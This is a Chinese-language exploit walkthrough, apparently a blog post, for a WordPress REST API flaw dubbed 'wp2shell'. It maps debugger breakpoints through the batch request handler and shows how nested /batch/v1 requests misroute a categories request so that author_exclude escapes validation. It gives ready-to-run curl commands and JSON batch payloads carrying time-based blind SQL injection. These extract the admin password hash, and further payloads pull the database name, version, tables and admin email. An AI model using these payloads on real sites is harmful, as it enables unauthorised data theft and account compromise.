WordPress wp2shell漏洞断点逐过程到注入点

使用CTRL+SHIFT+F查找

✅ 完整的断点清单(rest-api.php 内)

序号 函数名 作用
1 rest_api_loaded() 请求入口
2 rest_parse_request_arg() 默认参数处理器(校验+清洗的入口)
3 rest_validate_request_arg() 参数校验调度器
4 rest_validate_value_from_schema() Schema 校验核心(preg_split 拆解注入串在这里)
5 rest_validate_integer_value_from_schema() 整数类型校验("SELECT" 碎片被判死在这里)
6 rest_is_integer() 最终整数判定(is_numeric 返回 false)

其他断点

1️⃣ class-wp-rest-server.phpwp-includes/rest-api/

# 函数/位置 为什么断在这里 观察什么
1 serve_batch_request_v1() 函数开头 进入批量请求派发器,这是路由错位的起点 $batch_request['requests'] 包含 3 个外层请求
2 $match = $matches[$i];(阶段二循环内,约第 1841 行) 错位实锤点!$i=1 的 posts 请求拿到了谁的 match $i$requests[$i]->get_route()$matches[$i]['callback']
3 respond_to_request() 调用处(约第 1861 行) 看实际执行了哪个 handler $handler['callback'] → 应看到 /batch/v1 的 handler 被执行
4 match_request_to_handler() 函数内 看每个子请求匹配到了哪个路由 $match 结果(路由 + handler)

2️⃣ class-wp-rest-request.phpwp-includes/rest-api/

# 函数/位置 为什么断在这里 观察什么
5 sanitize_params() 函数开头 参数清洗入口,author_exclude 被跳过 $attributes['args'](categories 参数表只有 12 个参数,不含 author_exclude
6 has_valid_params() 函数开头 必填参数校验 同样能看到 author_exclude 不在参数表中

3️⃣ class-wp-rest-posts-controller.phpwp-includes/rest-api/endpoints/

# 函数/位置 为什么断在这里 观察什么
7 get_items() 函数内(约第 270 行) 桥接点author_exclude 被映射为 author__not_in $args['author__not_in'] = $request['author_exclude'](原始注入串)
8 get_items() 内调用 WP_Query 处(约第 447-448 行) 进入 WP_Query $query_args 包含 author__not_in 原始串

🎯 在 get_items() 函数内断

php 复制代码
foreach ( $parameter_mappings as $api_param => $wp_param ) {
    if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
        $args[ $wp_param ] = $request[ $api_param ];   // ← 断在这一行!
    }
}

断点位置 :在循环内部的赋值语句 $args[ $wp_param ] = $request[ $api_param ]; 处下断点。

为什么要断这里?

$api_param === 'author_exclude' 时,$args['author__not_in'] 被赋值为原始的注入串,未经任何清洗 。这是 SQL 注入"桥接"的关键一步------你能亲眼看到注入串从 $request 原样进入 $args

🔍 match_request_to_handler() 需要断

需关注它的返回值

断点 1:在 serve_batch_request_v1() 中调用后立即断

php 复制代码
$match = $this->match_request_to_handler( $single_request );   // ← 在这一行之后下断点

这样可以看到每个子请求匹配到的 $match 是什么(包含路由和 handler)。


4️⃣ class-wp-query.phpwp-includes/

# 函数/位置 为什么断在这里 观察什么
9 get_posts()author__not_in 处理处(约第 2404 行) SQL 注入消毒失效点 is_array($query_vars['author__not_in'])false → 字符串被直接拼接
10 get_posts() 内 SQL 拼装处(约第 2409 行) 注入串拼入 NOT IN (...) 最终 SQL 含 NOT IN (SELECT IF(...SLEEP...)

🔍 断点应该设在哪?

根据你提供的代码片段,正确的断点位置是:

断点 9:author__not_in 处理处

php 复制代码
if ( ! empty( $query_vars['author__not_in'] ) ) {   // ← 断在这一行

观察$query_vars['author__not_in'] 的值(应包含原始注入串)

断点 10:SQL 拼装处

php 复制代码
$where .= sprintf(
    " AND {$wpdb->posts}.post_author NOT IN (%s) ",
    implode( ',', $author__not_in_id_list )        // ← 断在这一行
);

观察implode( ',', $author__not_in_id_list ) 的最终值,以及 $where 拼接后的完整 SQL

5️⃣ class-wpdb.phpwp-includes/

# 函数/位置 为什么断在这里 观察什么
11 get_col() 函数开头 SQL 真正执行处 完整 SQL 语句(含注入)

🧩 完整断点地图

rest_api_loaded() rest-api.php

serve_batch_request_v1() class-wp-rest-server.php ← 外层 batch 派发

match = matches$i(错位点) class-wp-rest-server.php ← posts 偷到 /batch/v1 handler

respond_to_request() class-wp-rest-server.php ← 递归进入内层 batch

serve_batch_request_v1() class-wp-rest-server.php ← 内层 batch 派发

sanitize_params() class-wp-rest-request.php ← author_exclude 被跳过

match = matches$i(错位点) class-wp-rest-server.php ← categories 偷到 posts handler

respond_to_request() class-wp-rest-server.php ← 进入 posts get_items

get_items()(桥接点) class-wp-rest-posts-controller.php ← author_exclude → author__not_in

WP_Query::get_posts()(消毒失效点) class-wp-query.php ← 字符串直接拼接

wpdb::get_col()(SQL 执行点) class-wpdb.php ← 注入执行

以下演示直接在终端进行

演示 1: 直接向 /wp/v2/posts 传盲注(不套 batch)

复制代码
curl -s "http://192.168.66.141/index.php?rest_route=/wp/v2/posts&author_exclude=SELECT+IF%28ASCII%28SUBSTRING%28%28SELECT+user_pass+FROM+wp_users+WHERE+user_login%3D%27admin%27%29%2C1%2C1%29%29%3E30%2CSLEEP%280.5%29%2C0%29" -w "\n耗时: %{time_total}s\n"

结果 : HTTP 400, rest_invalid_param; 耗时 ≈ 0.1s,没有 SLEEP。 连"正经的密码提取语句"也进不了门, 死法完全一样。

复制代码
{"code":"rest_invalid_param","message":"Invalid parameter(s): author_exclude",
 "data":{"status":400,"params":{"author_exclude":"author_exclude[0] is not of type integer."}}}

演示 2: 套 batch, 但注入仍然直接挂 /wp/v2/posts

复制代码
cat > /tmp/probe_posts.json <<'EOF'
{
  "requests": [
    {"method": "POST", "path": "http://:"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "GET", "path": "http://:"},
        {"method": "GET", "path": "/wp/v2/posts?author_exclude=SELECT+IF%28ASCII%28SUBSTRING%28%28SELECT+user_pass+FROM+wp_users+WHERE+user_login%3D%27admin%27%29%2C1%2C1%29%29%3E30%2CSLEEP%280.5%29%2C0%29"},
        {"method": "GET", "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}
EOF
  1. cat > /tmp/probe_posts.json
  • cat > 表示将标准输入(键盘输入)的内容写入/tmp/probe_posts.json 文件中。

  • 如果文件已存在,会被覆盖;如果不存在,则新建。

  1. <<'EOF'
  • 这是一个 Here Document(内嵌文档) 语法,表示从下一行开始,直到遇到单独的 EOF 行结束 ,之间的所有内容都作为输入传给 cat

  • 'EOF' 加引号表示不对内容做任何变量替换或转义处理(原样保留)。

  1. 最终效果

创建了一个包含 JSON 请求体的文件 /tmp/probe_posts.json,内容就是 { "requests": [...] } 这段 JSON。

  1. curl --data-binary @/tmp/probe_posts.json
  • --data-binary @文件名 表示读取该文件的内容,原封不动地作为 POST 请求体发送。

curl -s -X POST "http://192.168.66.141/index.php?rest_route=/batch/v1" \ -H "Content-Type: application/json" \ --data-binary @/tmp/probe_posts.json \ -w "\n耗时: %{time_total}s\n"

结果 : batch 返回 200/207, 但内层 posts 子请求报同样的 rest_invalid_param; 依然无 SLEEP。

要点 : batch 只是"快递箱", 只负责批量派送, 不改变收件人 。 注入挂的路径还是 /wp/v2/posts, 收件人还是 posts 控制器, 它的校验表照常生效。

演示 3: 套 batch, 注入挂到 /wp/v2/categories(真正的利用)

如何绕过这个清洗点 ?

复制代码
cat > /tmp/probe_categories.json <<'EOF'
{
  "requests": [
     问题很打 错误请求 都写正确 错位了
    {"method": "POST", "path": "http://:"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "GET", "path": "http://:"},
        {"method": "GET", "path": "/wp/v2/categories?author_exclude=SELECT+IF%28ASCII%28SUBSTRING%28%28SELECT+user_pass+FROM+wp_users+WHERE+user_login%3D%27admin%27%29%2C1%2C1%29%29%3E30%2CSLEEP%280.5%29%2C0%29"},
        {"method": "GET", "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}
EOF
batch 一组数据 
batch 一次发送三个api请求  
batch 一组请求 
两个batch 套了一个batch
curl -s -X POST "http://192.168.66.141/index.php?rest_route=/batch/v1" \
  -H "Content-Type: application/json" \
  --data-binary @/tmp/probe_categories.json \
  -w "\n耗时: %{time_total}s\n"

结果(关键!): 同一个位置, 两个不同猜测 → 快/慢分出真伪 。 把 URL 里的 %3E30 改成 %3E40 重发一次, 对比两轮耗时:

php 复制代码
author_exclude=SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1)) > 30, SLEEP(0.5), 0)

它在问数据库一个问题:

"管理员密码的第一个字符的 ASCII 码是否大于 30?"

  • 如果答案是"是"(ASCII > 30) → 条件为真 → 执行 SLEEP(0.5)响应耗时 ≈ 0.5 秒(慢)

  • 如果答案是"否"(ASCII ≤ 30) → 条件为假 → 不执行 SLEEP响应耗时 ≈ 0.05 秒(快)

通过对比两次请求(>30>40)的耗时差异:

猜测 提问 第一个字符是 $(ASCII=36) 页面耗时
>30 ASCII > 30? 36 > 30 → 慢 ≈ 0.5s(SLEEP 执行)
>40 ASCII > 40? 36 > 40 → 快 ≈ 0.05s

结论:快/慢两个答案 = 一个"是/否"比特 → 每发 1 次请求拿到 1 bit 信息。

可以做出什么判断?

  1. 确认注入存在:如果同一个位置,两个不同数字(30 vs 40)产生了明显的快/慢差异,说明注入确实被执行了。

  2. 开始逐字符提取数据 :对每个字符 做 8 次二分(依次猜 >128>64>32、... 一位一位定出 ASCII 码)。

  3. 最终结果user_pass 是 34 字符的哈希($P$B...),全拖出来 ≈ 272 次请求,几分钟,最终得到管理员密码哈希。

🧪 逐字符提取信息

提取的原理与提取密码哈希完全相同,通过二分法逐字符猜解。

  1. 获取当前数据库名称
sql 复制代码
SELECT IF(ASCII(SUBSTRING(DATABASE(),1,1)) > 100, SLEEP(0.5), 0)
  • DATABASE():返回当前数据库名。
  1. 获取数据库版本
sql 复制代码
SELECT IF(ASCII(SUBSTRING(VERSION(),1,1)) > 100, SLEEP(0.5), 0)
  • VERSION() :返回 MySQL 版本信息,如 5.7.41
  1. 获取当前数据库用户
sql 复制代码
SELECT IF(ASCII(SUBSTRING(CURRENT_USER(),1,1)) > 100, SLEEP(0.5), 0)
  • CURRENT_USER() :返回当前数据库用户,如 wpuser@localhost
  1. 获取所有表名(从 information_schema
sql 复制代码
-- 获取第一个表名的第一个字符
SELECT IF(ASCII(SUBSTRING((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1),1,1)) > 100, SLEEP(0.5), 0)
  • information_schema.TABLES:系统表,存储了所有数据库和表的信息。

  • LIMIT 0,1 :用于逐行提取,0 表示第一个表,1 表示第二个表,以此类推。

  1. 获取管理员邮箱
sql 复制代码
-- 假设管理员用户名为 'admin'
SELECT IF(ASCII(SUBSTRING((SELECT user_email FROM wp_users WHERE user_login='admin'),1,1)) > 100, SLEEP(0.5), 0)
  • user_emailwp_users 表中的邮箱字段。

🔧 完整的攻击步骤

  1. 确定提取目标的 SQL 语句 :例如 SELECT user_email FROM wp_users WHERE user_login='admin'

  2. 猜解长度 :使用 LENGTH() 函数确定目标字符串的长度。

    sql 复制代码
    SELECT IF(LENGTH((SELECT user_email FROM wp_users WHERE user_login='admin')) = 20, SLEEP(0.5), 0)
  3. 逐字符猜解 :利用 SUBSTRING()ASCII() 函数,配合二分法逐位爆破。

    sql 复制代码
    SELECT IF(ASCII(SUBSTRING((SELECT user_email FROM wp_users WHERE user_login='admin'),1,1)) > 100, SLEEP(0.5), 0)
  4. 验证与重复 :不断调整 > 后面的数字(如 100, 50, 75...),根据响应快慢确定每一位的具体 ASCII 码,直到获取完整字符串。

原因: 嵌套 batch 产生路由错位 , categories 请求被投递到 posts 处理器, 但它的校验表(get_attributes 的 args)没有 author_exclude → 校验被跳过 → 注入原样进 SQL。

✅ 演示 1 与调用链

演示 1 想做什么?

攻击者试图直接 通过 /wp/v2/posts 接口的 author_exclude 参数注入 SQL,验证是否能触发时间盲注。

结果 :HTTP 400,rest_invalid_param,注入被拦截,get_items() 根本没被调用。

调用链逐行解释(每一步在做什么)
# 文件/函数 这一步在做什么 对演示 1 的意义
1 rest_api_loaded() 入口,认领 rest_route 参数 请求进入 WordPress REST API
2 rest_get_server() 获取 WP_REST_Server 单例 准备处理请求
3 serve_request() 解析请求方法,构造 WP_REST_Request 对象 将 URL 参数转为 $request 对象
4 dispatch() 路由匹配 + 参数校验 + 调用回调 这是关键分岔点
4a match_request_to_handler() 匹配到 posts 的 get_items 处理器 路由匹配成功,正规路径
4b $request->get_attributes() 获取参数表(args)= posts 的集合参数 schema 参数表里有 author_exclude ,类型为 arrayitemsinteger
4c $request->sanitize_params() 校验触发! author_exclude 进入 schema 校验 注入串被 preg_split 按空格/逗号拆成数组,逐元素验整数
5 rest_validate_request_arg() 无自定义 validate_callback,走通用 schema 校验 开始拆串判死
6 rest_validate_value_from_schema() 数组拆分 + items 循环 注入串被拆成 ["SELECT", "IF(...)", ...]
7 rest_validate_integer_value_from_schema() 整数校验 第一个碎片 "SELECT" 不是整数 → 报错
8 rest_is_integer() 最终 is_int / is_numeric 判断 is_numeric("SELECT") = false → 判死
校验失败 → add_invalid_param → HTTP 400 author_exclude[0] is not of type integer 注入串被肢解,死在校验层
9 get_items() 根本没被调用 注入连 WP_Query 的门都没摸到

一句话总结演示 1

author_exclude 在 posts 参数表中,被 schema 校验按数组整数类型拆解判死,400,注入失败。


✅ 演示 2 和演示 3 的调用链

📌 演示 2:套 batch,注入仍然挂 /wp/v2/posts

想做什么?:把注入藏进嵌套 batch 的 body 里,试图绕过校验。

结果 :batch 返回 200/207,但内层 posts 子请求仍然报 rest_invalid_param,无 SLEEP。失败。

调用链

复制代码
POST /?rest_route=/batch/v1

 1. rest_api_loaded()                                   入口
 2. serve_request()                                     构造请求
 3. dispatch()                                         匹配到 /batch/v1 → callback = serve_batch_request_v1
 4. serve_batch_request_v1()(外层)                    ★ 第 1 次进入派送器
    4a. 外层探针 http://: 解析失败 → matches 短一格
    4b. 外层错位:posts 请求偷到 /batch/v1 的 handler
    4c. 递归进入 serve_batch_request_v1()(内层)
 5. serve_batch_request_v1()(内层)                    ★ 第 2 次进入派送器
    5a. 内层探针 http://: 解析失败 → matches 又短一格
    5b. 内层错位:posts 请求偷到 posts 的 handler(自己人!)
    5c. dispatch() → 匹配到 posts get_items(正规路径)
    5d. $request->get_attributes() → args 表 = posts 集合参数 schema(★ 有 author_exclude)
    5e. $request->sanitize_params() → ★ 校验触发!
    5f. rest_validate_value_from_schema() → preg_split 拆串
    5g. rest_validate_integer_value_from_schema() → 第一个碎片 "SELECT" 不是整数 → 报错
 6. 校验失败 → rest_invalid_param → HTTP 400(内层子请求)→ 无 SLEEP
 7. get_items() 未被调用

为什么失败? :虽然套了 batch,但注入挂的还是 /wp/v2/postsauthor_exclude 仍然在 posts 参数表中,校验照常触发。batch 只是"快递箱",不改变收件人。


📌 演示 3:套 batch,注入挂 /wp/v2/categories(真正的利用,成功)

想做什么? :把注入挂到 categories 接口,利用 categories 参数表中没有 author_exclude 绕过校验。

结果:快/慢差异 → 注入执行成功 → SLEEP 生效。

调用链

复制代码
POST /?rest_route=/batch/v1

 1. rest_api_loaded()                                   入口
 2. serve_request()                                     构造请求
 3. dispatch()                                         匹配到 /batch/v1 → callback = serve_batch_request_v1
 4. serve_batch_request_v1()(外层)                    ★ 第 1 次进入派送器
    4a. 外层探针 http://: 解析失败 → matches 短一格
    4b. 外层错位:posts 请求偷到 /batch/v1 的 handler
    4c. 递归进入 serve_batch_request_v1()(内层)
 5. serve_batch_request_v1()(内层)                    ★ 第 2 次进入派送器
    5a. 内层探针 http://: 解析失败 → matches 又短一格
    5b. ★ 内层错位:categories 请求偷到 posts 的 handler(关键!)
    5c. dispatch() → 匹配到 posts get_items(但身上的参数表是 categories 的!)
    5d. $request->get_attributes() → args 表 = categories 集合参数表(★ 没有 author_exclude)
    5e. $request->sanitize_params() → ★ 校验被跳过!循环里根本没有 author_exclude
    5f. 无校验错误 → 进入 get_items()
 6. get_items() → $args['author__not_in'] = $request['author_exclude'](原始注入串)
 7. WP_Query::query() → get_posts()
    7a. if ( ! empty( $query_vars['author__not_in'] ) ) → 是真
    7b. if ( is_array( $query_vars['author__not_in'] ) ) → ★ false(字符串)
    7c. absint 消毒被跳过 → 注入串原样拼入 SQL
 8. wpdb::get_results() → SQL 执行 → SLEEP 生效 → 盲注落地 ✓

为什么成功?

  1. 错位让 categories 请求偷到了 posts 的 handler(处理器是 posts,但参数表是 categories 的)。

  2. categories 参数表中没有 author_excludesanitize_params() 循环查无此项 → 不验不洗,放行。

  3. get_posts()is_array() 为假 → absint 也被跳过 → 注入串原样拼进 SQL。


📊 三个演示对比表

演示 1 演示 2 演示 3
注入挂在 /wp/v2/posts /wp/v2/posts /wp/v2/categories
套 batch? ❌ 不套 ✅ 套 ✅ 套
参数表 posts(有 author_exclude) posts(有 author_exclude) categories(没有 author_exclude)
校验 ✅ 触发 → 400 ✅ 触发 → 400 被跳过
get_items 是否调用? ❌ 否 ❌ 否
注入是否执行? ❌ 否 ❌ 否
SLEEP 是否生效? ❌ 否 ❌ 否

一句话总结

演示 1 和 2 失败,因为 author_exclude 在 posts 参数表里,被看门狗拦截。演示 3 成功,因为 categories 参数表里没有 author_exclude,错位让注入请求"偷"了 posts 的 handler,但挂的是 categories 的名单 → 看门狗查无此人 → 放行。

相关推荐
小弥儿1 小时前
GitHub今日热榜 | 2026-08-23:终端编码Agent与Skills生态扎堆
学习·开源·github
会编程的吕洞宾1 小时前
DeepAgents In Action学习(Third)
python·学习·django
Be for thing2 小时前
【嵌入式成长10】STC89C51蜂鸣器|有源/无源蜂鸣器区分、三极管驱动、定时器播放音乐实战
单片机·嵌入式硬件·学习
那年窗外下的雪.2 小时前
Linux 学习笔记
linux·笔记·学习
爱奥尼欧2 小时前
【daily practice】最长数字串怎么找?岛屿数量如何沉岛秒数?六棍拼两三角形有几种验法?(5.字符串中找出连续最长的数字串、岛屿数量、拼三角)
笔记·学习
Android打工仔2 小时前
Kotlin 协程源码解析(五):BaseContinuationImpl.resumeWith() —— Continuation 链是如何被展开的?
android·kotlin
Bernice橘子2 小时前
职场英语学习计划Day040
学习
存在morning3 小时前
【PySpark 学习笔记 三】DataFrame API 入门
android·java·数据库
YSoup3 小时前
2026 安卓面试助手APP(安卓八股、题库)
android·面试·职场和发展